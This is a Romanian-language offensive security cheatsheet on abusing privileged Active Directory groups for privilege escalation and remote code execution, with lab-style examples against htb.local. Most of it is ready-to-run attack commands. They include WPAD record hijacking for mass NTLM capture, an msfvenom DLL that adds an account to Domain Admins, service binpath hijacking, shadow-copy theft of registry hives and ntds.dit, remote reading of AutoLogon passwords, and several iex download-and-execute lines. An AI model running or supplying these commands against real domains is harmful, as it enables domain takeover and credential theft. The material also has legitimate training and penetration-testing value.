⬅ IndexCheatsheets

Abuzarea grupurilor AD protejate — LPE & RCE

TitleAbuzarea grupurilor AD protejate — LPE & RCE
CategoryCheatsheets
DescriptionDnsAdmins (WPAD/DLL), Server Operators, Backup Operators, Account Operators, Remote Management Users, Event Log Readers, Schema Admins, GPO Creator Owners, Print Operators — tehnici LPE/RCE cu comenzi
Updated2026-09-11

🔵 DnsAdmins

Permisiuni default: Read, Write, Create All Child objects, Delete Child objects pe obiectele DNS.

Capcana clasică: membrii DnsAdmins NU pot restarta serviciul DNS (nici local, nici remote) — verifică:

(Get-ServiceAcl dns).Access

De aceea tehnica cu plugin DLL crapă dns.exe și e utilă doar ca persistență (aștepți reboot).

RCE — WPAD record (metoda superioară, fără restart)

Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc.htb.local
Add-DnsServerResourceRecordA -Name wpad -ZoneName htb.local -ComputerName dc.htb.local -IPv4Address 10.0.0.7
# Listener: Responder / ntlmrelayx --wpad → captură NTLM în masă

Dezactivează GlobalQueryBlockList (blochează implicit WPAD/isatap) → creează wpad.<domeniu> → toate stațiile cu WPAD default trimit proxy discovery prin tine = exposure masiv de credențiale. Detalii + cleanup: cheatsheet dnsadmins-abuse.

Persistență — plugin DLL (crapă serviciul, supraviețuiește la reboot)

msfvenom -p windows/x64/exec cmd='net group "domain admins" cube$ /add /domain' -f dll > dns.dll
dnscmd.exe dc.htb.local /config /serverlevelplugindll \\10.0.0.7\tmp\dns.dll

⚠️ Path-ul trebuie absolut/UNC (relativ → ignorat silențios). Necesită restart DNS + cont cu ChangeConfig.

🟠 Server Operators

Poate: crea/șterge shares, porni/opri servicii, backup/restore fișiere, format disk.

LPE — citire fișiere sensibile (SeBackupPrivilege)

Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege C:\users\cube0x0\desktop\passwords.txt C:\windows\temp\pass -Overwrite

Tool: giuliano108/SeBackupPrivilege

LPE → SYSTEM — modificare serviciu

Server Operators are drepturi de scriere pe ~65 servicii standard. Găsește unul care rulează ca LocalSystem, apoi deturnează-i binpath:

# 1. enumerare servicii pe care Server Operators are drepturi
$services=(get-service).name | foreach {(Get-ServiceAcl $_) | where {$_.access.IdentityReference -match 'Server Operators'}}

# 2. care dintre ele rulează ca SYSTEM
(gci HKLM:\SYSTEM\ControlSet001\Services | Get-ItemProperty | where {$_.ObjectName -match 'LocalSystem' -and $_.pschildname -in $services.name}).PSChildName

# 3. deturnează binpath-ul unui serviciu ales (ex. VSS) să-ți execute comanda
sc.exe config VSS binpath="C:\Windows\System32\cmd.exe /c net group 'Domain Admins' cube$ /add /domain" type="share" group="" depend=""
sc.exe stop VSS
sc.exe start VSS

Contul de mașină se creează cu Powermad:

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1')
New-MachineAccount -MachineAccount cube -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Domain htb.local -DomainController dc.htb.local

RCE — search SMB shares

dir \\dc.htb.local\c$

🟡 Backup Operators

Poate: backup/restore TOATE fișierele, inclusiv creare shadow copies.

LPE → ntds.dit / registry hives (shadow volume)

Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

echo @"
set context persistent nowriters
add volume c: alias temp
create
expose %temp% z:
"@ | out-file C:\windows\temp\cmd -encoding ascii

diskshadow.exe /s C:\windows\temp\cmd
Copy-FileSeBackupPrivilege z:\windows\system32\config\SECURITY C:\SECURITY.bak -Overwrite

⚠️ Litere de volum lowercase (c:) — uppercase face diskshadow să printeze HELP. Pentru ntds.dit folosește robocopy /b (semantică de backup) — vezi skill-ul ad-dc-sebackup-privesc.

RCE — citire credențiale din HKLM

$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine','dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}   # AutoLogon creds!

🔴 Account Operators

Poate: modifica membership și reseta parole, cu excepția grupului Administrators, Server Operators, Account Operators, Backup Operators, Print Operators.

RCE — adaugă un cont controlat la un grup privilegiat (ex. DnsAdmins)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1')
New-MachineAccount -MachineAccount cube -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Domain htb.local -DomainController dc.htb.local
Add-ADGroupMember 'dns admins' -Members cube$ -server dc.htb.local

→ apoi folosești tehnica grupului respectiv (DnsAdmins → WPAD/DLL). Lanț clasic HTB (ex. box Forest: Account Operators → Exchange Windows Permissions).

🟣 Remote Management Users

Poate: management remote via WinRM/PSRemote (low-priv, dar shell remote).

RCE — sesiune WinRM + enumerare endpoint-uri

Get-PSSessionConfiguration | where {$_.Permission -match 'Remote Management Users'}
# → microsoft.powershell, microsoft.powershell.workflow, microsoft.powershell32

New-PSSession -ComputerName dc.htb.local    # microsoft.powershell e endpoint-ul default
# Din Linux: evil-winrm -i <DC> -u <user> -p <pass>

🟢 Event Log Readers

Poate: citi event logs de pe computerele locale.

LPE — credențiale stocate în loguri

Caută Event IDs: 4103 (Script Block Logging), 4104 (PowerShell module logging), 4688 (Process Creation).

wevtutil.exe epl security C:\security.evtx "/q:*[System [(EventID=4688)]]"
wevtutil.exe epl Microsoft-Windows-PowerShell/Operational C:\win-ps.evtx "/q:*[System [(EventID=4103 or EventID=4104)]]"
wevtutil.exe epl "Windows PowerShell" C:\ps.evtx "/q:*[System [(EventID=4103 or EventID=4104)]]"

# extrage direct command-line-urile
Get-WinEvent -Path .\security.evtx | foreach {if($_.Properties[8].value){write-output $_.Properties[8].value}}

💡 Credențialele apar în command-line-uri (scripturi cu parole, net use, instalări cu creds).

🔵 Schema Admins

Poate: modifica structura schemei AD. Nu dă control direct pe obiecte existente — doar pe cele create DUPĂ modificare.

RCE — defaultSecurityDescriptor pe obiecte noi

Set-ADObject -Identity "CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=htb,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-...-7112)'} -Verbose -server dc.htb.local

# Odată ce un GPO nou e creat → adaugă startup script prin SharpGPOAbuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount Sven --DomainController dc.htb.local --domain htb.local --GPOName "new_dcGPO" --force

Pentru grupuri noi:

Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=htb,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)...'} -Verbose -server dc.htb.local

# creează grupul + adaugă cont controlat
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1')
New-MachineAccount -MachineAccount cube -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Domain htb.local -DomainController dc.htb.local
Add-ADGroupMember new_admingroup -Members cube$ -Server dc.htb.local

⚪ Group Policy Creator Owners

Poate: crea GPO-uri, dar nu le poate linka la OU-uri/domeniu și nu poate modifica GPO-uri existente. Creatorul primește drepturi de modificare doar pe GPO-ul creat.

→ Abuzul practic necesită un link (de obicei prin alt vector) sau WriteDacl pe un OU. Fără link, GPO-ul creat nu se aplică.

⚫ Print Operators

Poate: încărca drivere de kernel → aduci propria vulnerabilitate (BYOVD — Bring Your Own Vulnerable Driver) → escaladare la kernel/SYSTEM.

Exemple de drivere vulnerabile: capcom.sys, dbutil_2_3.sys, RTCore64.sys (exploatare cu KDU / EDRSandblast). ⚠️ Necesită cercetare suplimentară pe versiunea de Windows țintă; driverul trebuie semnat.

🧠 Note operaționale

Resurse